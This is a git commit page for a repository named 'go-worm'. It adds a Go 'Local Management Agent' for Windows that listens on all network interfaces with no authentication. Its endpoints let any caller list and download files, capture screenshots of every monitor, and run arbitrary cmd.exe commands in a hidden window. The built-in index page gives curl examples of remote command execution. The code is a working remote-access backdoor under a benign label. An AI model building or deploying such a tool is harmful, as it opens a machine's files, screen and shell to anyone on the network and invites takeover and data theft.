kato/go-worm
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Initial commit with project setup and basic structure established.

Browse Source
This commit is contained in:
kato
2026-08-18 16:40:50 +03:00
parent 2683425562
commit f0515d7342
12 changed files with 884 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
go.mod
+5
View File
@@ -0,0 +1,5 @@
module tea.chunkbyte.com/kato/go-worm
go 1.26.2
require golang.org/x/sys v0.47.0
go.sum
+2
View File
@@ -0,0 +1,2 @@
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
lib/agent/agent.go
+96
View File
@@ -0,0 +1,96 @@
package agent
import (
"context"
"errors"
"fmt"
"net"
"net/http"
"os"
"os/signal"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
type Agent struct {
addr string
root string
guard *instance.Guard
server *http.Server
startedAt time.Time
}
func New() (*Agent, error) {
a := &Agent{
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
startedAt: time.Now(),
}
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
resolved, err := files.CanonicalExistingPath(root)
if err != nil {
return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
}
a.root = resolved
}
guard, err := instance.Acquire()
if err != nil {
return nil, err
}
a.guard = guard
return a, nil
}
func (a *Agent) Close() {
if a.guard != nil {
a.guard.Close()
}
}
func (a *Agent) Serve() error {
mux := http.NewServeMux()
mux.HandleFunc("/", a.handleIndex)
mux.HandleFunc("/health", a.handleHealth)
mux.HandleFunc("/healthz", a.handleHealth)
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
mux.HandleFunc("/api/v1/status", a.handleStatus)
mux.HandleFunc("/api/v1/files", a.handleFiles)
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/exec", a.handleExec)
a.server = &http.Server{
Addr: a.addr,
Handler: helpers.RecoverHandler(mux),
ReadHeaderTimeout: 10 * time.Second,
ReadTimeout: 30 * time.Second,
WriteTimeout: 150 * time.Second,
IdleTimeout: 60 * time.Second,
MaxHeaderBytes: 16 << 10,
}
listener, err := net.Listen("tcp", a.addr)
if err != nil {
return fmt.Errorf("listen %s: %w", a.addr, err)
}
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop()
go func() {
<-ctx.Done()
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
_ = a.server.Shutdown(shutdownCtx)
}()
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
return fmt.Errorf("serve: %w", err)
}
return nil
}
lib/agent/handlers.go
+235
View File
@@ -0,0 +1,235 @@
package agent
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"io"
"mime"
"net/http"
"os"
"path/filepath"
"runtime"
"strconv"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" || r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
return
}
w.Header().Set("Content-Type", "text/html; charset=utf-8")
_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&amp;depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
}
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}
func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
},
})
}
func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
host, _ := os.Hostname()
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
})
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
path := r.URL.Query().Get("path")
if path == "" {
path, _ = os.UserHomeDir()
}
dir, err := files.AllowedPath(a.root, path, true)
if err != nil {
files.WritePathError(w, err)
return
}
info, err := os.Stat(dir)
if err != nil {
files.WritePathError(w, err)
return
}
if !info.IsDir() {
helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
return
}
entries, err := files.ListDirectory(dir, depth)
if err != nil {
files.WritePathError(w, err)
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
path := r.URL.Query().Get("path")
if path == "" {
helpers.WriteError(w, http.StatusBadRequest, "path is required")
return
}
file, err := files.AllowedPath(a.root, path, true)
if err != nil {
files.WritePathError(w, err)
return
}
f, err := os.Open(file)
if err != nil {
files.WritePathError(w, err)
return
}
defer f.Close()
info, err := f.Stat()
if err != nil {
files.WritePathError(w, err)
return
}
if info.IsDir() {
helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
return
}
name := filepath.Base(file)
contentType := mime.TypeByExtension(filepath.Ext(name))
if contentType == "" {
var sample [512]byte
n, _ := f.Read(sample[:])
contentType = http.DetectContentType(sample[:n])
_, _ = f.Seek(0, io.SeekStart)
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
w.Header().Set("Accept-Ranges", "bytes")
http.ServeContent(w, r, name, info.ModTime(), f)
}
func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
if format == "" {
format = "png"
}
if format != "png" && format != "jpeg" {
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
return
}
quality := 80
if raw := r.URL.Query().Get("quality"); raw != "" {
var err error
quality, err = strconv.Atoi(raw)
if err != nil || quality < 1 || quality > config.MaxImageQuality {
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
return
}
}
images, err := screenshot.Capture(format, quality)
if err != nil {
helpers.Log.Printf("screenshot: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
return
}
if len(images) == 1 {
w.Header().Set("Content-Type", images[0].ContentType)
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
_, _ = w.Write(images[0].Data)
return
}
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
for i, item := range images {
response.Images = append(response.Images, models.ScreenshotImage{
Monitor: i,
ContentType: item.ContentType,
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
})
}
helpers.WriteJSON(w, http.StatusOK, response)
}
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var request models.ExecRequest
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
if err := decoder.Decode(&request); err != nil {
helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
return
}
cmdline := strings.TrimSpace(request.Command)
if cmdline == "" {
helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
return
}
timeout, err := command.ResolveTimeout(request.TimeoutSec)
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
ctx, cancel := context.WithTimeout(r.Context(), timeout)
defer cancel()
result, err := command.Run(ctx, cmdline)
if errors.Is(err, command.ErrTimeout) {
helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
return
}
if err != nil {
helpers.Log.Printf("exec: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
return
}
helpers.WriteJSON(w, http.StatusOK, result)
}
lib/command/command.go
+62
View File
@@ -0,0 +1,62 @@
package command
import (
"bytes"
"context"
"errors"
"os/exec"
"syscall"
"time"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var (
ErrEmptyCommand = errors.New("command must not be empty")
ErrBadTimeout = errors.New("timeout_sec must be zero or positive")
ErrTimeout = errors.New("command timed out")
)
func ResolveTimeout(seconds int) (time.Duration, error) {
if seconds < 0 {
return 0, ErrBadTimeout
}
if seconds == 0 {
seconds = config.DefaultExecTO
}
if seconds > config.MaxExecTO {
seconds = config.MaxExecTO
}
return time.Duration(seconds) * time.Second, nil
}
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW,
}
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if ctx.Err() == context.DeadlineExceeded {
return models.ExecResponse{}, ErrTimeout
}
exitCode := 0
if err != nil {
var exitErr *exec.ExitError
if !errors.As(err, &exitErr) {
return models.ExecResponse{}, err
}
exitCode = exitErr.ExitCode()
}
return models.ExecResponse{
ExitCode: exitCode,
Stdout: stdout.String(),
Stderr: stderr.String(),
}, nil
}
lib/config/config.go
+24
View File
@@ -0,0 +1,24 @@
package config
import (
"os"
"strings"
)
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
)
func EnvOr(name, fallback string) string {
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
return value
}
return fallback
}
lib/files/files.go
+131
View File
@@ -0,0 +1,131 @@
package files
import (
"errors"
"net/http"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var (
ErrInvalidPath = errors.New("path must be an absolute accessible Windows path")
ErrOutsideRoot = errors.New("path is outside AGENT_FILE_ROOT")
)
func AllowedPath(root, raw string, requireExisting bool) (string, error) {
if strings.TrimSpace(raw) == "" || !filepath.IsAbs(raw) {
return "", ErrInvalidPath
}
clean := filepath.Clean(raw)
if requireExisting {
resolved, err := CanonicalExistingPath(clean)
if err != nil {
return "", err
}
clean = resolved
}
if root != "" && !isWithin(root, clean) {
return "", ErrOutsideRoot
}
return clean, nil
}
func CanonicalExistingPath(path string) (string, error) {
abs, err := filepath.Abs(filepath.Clean(path))
if err != nil {
return "", err
}
if _, err := os.Stat(abs); err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return filepath.Abs(resolved)
}
return abs, nil
}
func ParseDepth(raw string) (int, error) {
if raw == "" {
return 0, nil
}
depth, err := strconv.Atoi(raw)
if err != nil || (depth != 0 && depth != 1) {
return 0, errors.New("depth must be 0 or 1")
}
return depth, nil
}
func ListDirectory(dir string, depth int) ([]models.FileItem, error) {
result := make([]models.FileItem, 0)
var walk func(string, string, int) error
walk = func(current, relative string, remaining int) error {
entries, err := os.ReadDir(current)
if err != nil {
return err
}
for _, entry := range entries {
if len(result) >= config.MaxListEntries {
return errors.New("directory listing exceeds entry limit")
}
info, err := entry.Info()
if err != nil {
continue
}
entryPath := filepath.Join(current, entry.Name())
rel := filepath.Join(relative, entry.Name())
kind := "file"
if info.IsDir() {
kind = "dir"
}
result = append(result, models.FileItem{
Name: entry.Name(),
Path: rel,
Type: kind,
Size: info.Size(),
Modified: info.ModTime().UTC(),
})
if remaining > 0 && info.IsDir() && entry.Type()&os.ModeSymlink == 0 {
if err := walk(entryPath, rel, remaining-1); err != nil {
return err
}
}
}
return nil
}
if err := walk(dir, "", depth); err != nil {
return nil, err
}
sort.Slice(result, func(i, j int) bool {
return strings.ToLower(result[i].Path) < strings.ToLower(result[j].Path)
})
return result, nil
}
func WritePathError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, ErrInvalidPath):
helpers.WriteError(w, http.StatusBadRequest, err.Error())
case errors.Is(err, ErrOutsideRoot), errors.Is(err, os.ErrPermission):
helpers.WriteError(w, http.StatusForbidden, "path is not accessible")
case errors.Is(err, os.ErrNotExist):
helpers.WriteError(w, http.StatusNotFound, "path does not exist")
default:
helpers.WriteError(w, http.StatusBadRequest, "path is not accessible")
}
}
func isWithin(root, candidate string) bool {
rel, err := filepath.Rel(root, candidate)
if err != nil {
return false
}
return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel)
}
lib/helpers/helpers.go
+68
View File
@@ -0,0 +1,68 @@
package helpers
import (
"encoding/json"
"log"
"net"
"net/http"
"os"
"sort"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
func RecoverHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
if recovered := recover(); recovered != nil {
Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered)
WriteError(w, http.StatusInternalServerError, "internal server error")
}
}()
next.ServeHTTP(w, r)
})
}
func WriteJSON(w http.ResponseWriter, status int, value any) {
w.Header().Set("Content-Type", "application/json; charset=utf-8")
w.WriteHeader(status)
if err := json.NewEncoder(w).Encode(value); err != nil {
Log.Printf("write response: %v", err)
}
}
func WriteError(w http.ResponseWriter, status int, message string) {
WriteJSON(w, status, models.APIError{Error: message})
}
func Username() string {
user := os.Getenv("USERNAME")
if user == "" {
user = os.Getenv("USER")
}
return user
}
func LocalIPs() []string {
interfaces, err := net.Interfaces()
if err != nil {
return nil
}
var ips []string
for _, iface := range interfaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addresses, _ := iface.Addrs()
for _, address := range addresses {
ip, _, err := net.ParseCIDR(address.String())
if err == nil && ip != nil {
ips = append(ips, ip.String())
}
}
}
sort.Strings(ips)
return ips
}
lib/instance/mutex.go
+37
View File
@@ -0,0 +1,37 @@
package instance
import (
"errors"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
type Guard struct {
handle windows.Handle
}
func Acquire() (*Guard, error) {
name, err := windows.UTF16PtrFromString(config.MutexName)
if err != nil {
return nil, err
}
h, err := windows.CreateMutex(nil, false, name)
if h == 0 {
return nil, err
}
if errors.Is(err, windows.ERROR_ALREADY_EXISTS) {
windows.CloseHandle(h)
return nil, errors.New("agent already running")
}
return &Guard{handle: h}, nil
}
func (g *Guard) Close() {
if g == nil || g.handle == 0 {
return
}
windows.CloseHandle(g.handle)
g.handle = 0
}
lib/models/models.go
+41
View File
@@ -0,0 +1,41 @@
package models
import "time"
type APIError struct {
Error string `json:"error"`
}
type FileItem struct {
Name string `json:"name"`
Path string `json:"path"`
Type string `json:"type"`
Size int64 `json:"size"`
Modified time.Time `json:"modified_time"`
}
type ScreenshotImage struct {
Monitor int `json:"monitor"`
ContentType string `json:"content_type"`
DataBase64 string `json:"data_base64"`
}
type ScreenshotResponse struct {
Images []ScreenshotImage `json:"images"`
}
type ExecRequest struct {
Command string `json:"command"`
TimeoutSec int `json:"timeout_sec"`
}
type ExecResponse struct {
ExitCode int `json:"exit_code"`
Stdout string `json:"stdout"`
Stderr string `json:"stderr"`
}
type CapturedImage struct {
ContentType string
Data []byte
}
lib/screenshot/screenshot.go
+157
View File
@@ -0,0 +1,157 @@
package screenshot
import (
"bytes"
"errors"
"image"
"image/jpeg"
"image/png"
"runtime"
"syscall"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
procOpenInputDesktop = user32.NewProc("OpenInputDesktop")
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
procCloseDesktop = user32.NewProc("CloseDesktop")
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
procDeleteDC = gdi32.NewProc("DeleteDC")
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
procDeleteObject = gdi32.NewProc("DeleteObject")
procSelectObject = gdi32.NewProc("SelectObject")
procBitBlt = gdi32.NewProc("BitBlt")
)
type rect struct {
Left, Top, Right, Bottom int32
}
type bitmapInfoHeader struct {
Size uint32
Width int32
Height int32
Planes uint16
BitCount uint16
Compression uint32
SizeImage uint32
XPelsPerMeter int32
YPelsPerMeter int32
ClrUsed uint32
ClrImportant uint32
}
type bitmapInfo struct {
Header bitmapInfoHeader
Colors [1]uint32
}
func Capture(format string, quality int) ([]models.CapturedImage, error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
if err := attachInputDesktop(); err != nil {
return nil, err
}
monitors, err := enumerateMonitors()
if err != nil {
return nil, err
}
if len(monitors) == 0 {
return nil, errors.New("no displays found")
}
result := make([]models.CapturedImage, 0, len(monitors))
for _, monitor := range monitors {
img, err := captureRect(monitor)
if err != nil {
return nil, err
}
data, contentType, err := encodeImage(img, format, quality)
if err != nil {
return nil, err
}
result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
}
return result, nil
}
func attachInputDesktop() error {
h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
if h == 0 {
return err
}
defer procCloseDesktop.Call(h)
ok, _, err := procSetThreadDesktop.Call(h)
if ok == 0 {
return err
}
return nil
}
func enumerateMonitors() ([]rect, error) {
var monitors []rect
callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
if monitorRect != 0 {
monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
}
return 1
})
ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
if ok == 0 {
return nil, err
}
return monitors, nil
}
func captureRect(r rect) (*image.RGBA, error) {
width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
if width <= 0 || height <= 0 {
return nil, errors.New("invalid monitor dimensions")
}
screenDC, _, err := procGetDC.Call(0)
if screenDC == 0 {
return nil, err
}
defer procReleaseDC.Call(0, screenDC)
memDC, _, err := procCreateCompatibleDC.Call(screenDC)
if memDC == 0 {
return nil, err
}
defer procDeleteDC.Call(memDC)
bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
var bits unsafe.Pointer
bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
if bitmap == 0 || bits == nil {
return nil, err
}
defer procDeleteObject.Call(bitmap)
old, _, _ := procSelectObject.Call(memDC, bitmap)
defer procSelectObject.Call(memDC, old)
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
if ok == 0 {
return nil, err
}
raw := unsafe.Slice((*byte)(bits), width*height*4)
pix := make([]byte, len(raw))
for i := 0; i < len(raw); i += 4 {
pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
}
return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
}
func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
var buffer bytes.Buffer
if format == "jpeg" {
err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
return buffer.Bytes(), "image/jpeg", err
}
err := png.Encode(&buffer, img)
return buffer.Bytes(), "image/png", err
}
main.go
+26
View File
@@ -0,0 +1,26 @@
// Local Management Agent is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
//
// The binary is a normal console application. A CMD window appears on launch
// and prints the listen address. Press Ctrl+C to stop.
package main
import (
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
func main() {
a, err := agent.New()
if err != nil {
helpers.Log.Fatalf("%v", err)
}
defer a.Close()
if err := a.Serve(); err != nil {
helpers.Log.Fatalf("%v", err)
}
}